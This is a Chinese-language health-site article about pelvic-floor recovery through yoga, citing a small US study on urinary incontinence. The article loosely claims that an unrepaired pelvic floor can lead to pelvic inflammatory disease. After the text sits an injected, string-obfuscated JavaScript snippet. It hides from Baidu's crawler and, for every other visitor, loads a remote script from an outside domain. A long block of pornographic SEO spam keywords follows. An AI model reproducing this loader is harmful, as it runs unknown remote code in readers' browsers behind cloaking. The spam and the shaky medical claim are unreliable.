當前位置:首頁 > 健康 > 運動健身 > 正文

盆底肌修復訓練怎么做呢?

2017-06-12 17:32:48  來源:360常識網   熱度:
導語:新的研究表明,做瑜伽可以有助于盆底肌修復,它可以改善骨盆健康,幫助女性更好地控制她們的膀胱,美國研究人員發現,它還可以防止意外的尿

新的研究表明,做瑜伽可以有助于盆底肌修復,它可以改善骨盆健康,幫助女性更好地控制她們的膀胱,美國研究人員發現,它還可以防止意外的尿液滲漏,很多生產之后的女性都會有盆底肌肉錯位的現象,為了能夠康復和避免,做瑜伽會是一個比較好的方法,那么小編就來介紹一下關于瑜伽修復盆底肌的一些方法。

“瑜伽通常是能令人們增強思想意識、使人放松、緩解焦慮和壓力,”研究的第一作者,加州大學舊金山醫學院的助理教授艾莉森·黃說:“由于這些原因,瑜伽也用于治療各種其他疾病,如代謝綜合征或疼痛癥等,但我們也有理由相信它可以幫助失禁患者。”研究人員招募了20名伴隨有日常尿失禁癥狀的40歲及40歲以上的女性。

一半的參與者被隨機分配去參加一項為期六周的瑜伽治療計劃,而另一半的參與者沒有參加此項計劃。參加了瑜伽課程的女性出現尿失禁的頻率降低了70%。

研究人員觀察到參與者出現的大多數尿失禁改善的現象,都是由應力引起的尿失禁,或是由腹壓增加的活動,如咳嗽、打噴嚏、彎腰及等引起的尿液滲漏。

研究人員相信瑜伽可以通過多種機制改善尿失禁。因為尿失禁與焦慮和抑郁有關,女性尿失禁患者可能會受益于強調冥想和放松的瑜伽。但是,定期練習瑜伽也可以幫助女性加強骨盆底的肌肉,這些肌肉可以支撐膀胱和預防尿失禁。

大多數人認為盆底肌修復并不是一個大問題,但是如果你的盆底肌不修復的話很有可能會導致盆腔炎,所以為了你的身體還是盡快通過運動來解決,這樣也能幫助你盡快恢復身材,當然在運動的過程中要先熱身,不能夠太過著急,以免拉傷肌肉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久99精品九九九久久婷婷| 亚洲精品综合在线影院 | 青青草99热这里都是精品| 亚洲精品动漫人成3d在线| 国产精品兄妹在线观看麻豆| 精品黑人一区二区三区| 精品一区二区三区在线播放| 1024你懂的国产精品| 国产精品中文字幕在线| 精品一卡2卡三卡4卡免费视频| 久久精品久久久久观看99水蜜桃| 久久精品国产亚洲AV不卡| 国产欧美精品123区发布| 窝窝午夜色视频国产精品东北| 亚洲人成在线精品| 国产一成人精品福利网站| 免费视频成人国产精品网站| 国产高清国内精品福利| 久久精品中文字幕有码| 日韩精品中文字幕在线观看 | 久久99青青精品免费观看| 国产精品民宅偷窥盗摄| 久久精品国产亚洲AV香蕉| 国产嫩草影院精品免费网址| 国产精品白丝在线观看有码| 无码国内精品人妻少妇| 青娱乐精品视频在线观看| 国产精品久线观看视频| 精品999久久久久久中文字幕 | 精品一区精品二区| 国产人妻777人伦精品hd| 久久久精品久久久久三级| 国产亚洲精品影视在线产品| 精品久久久久久无码中文野结衣| 999这里只有精品| 无码人妻精品一区二区三区99仓本 | 91久久精品国产免费一区| 国产精品视频免费一区二区三区| 久久精品国产99精品最新| 国产在线精品国自产拍影院同性| 国内精品伊人久久久影院|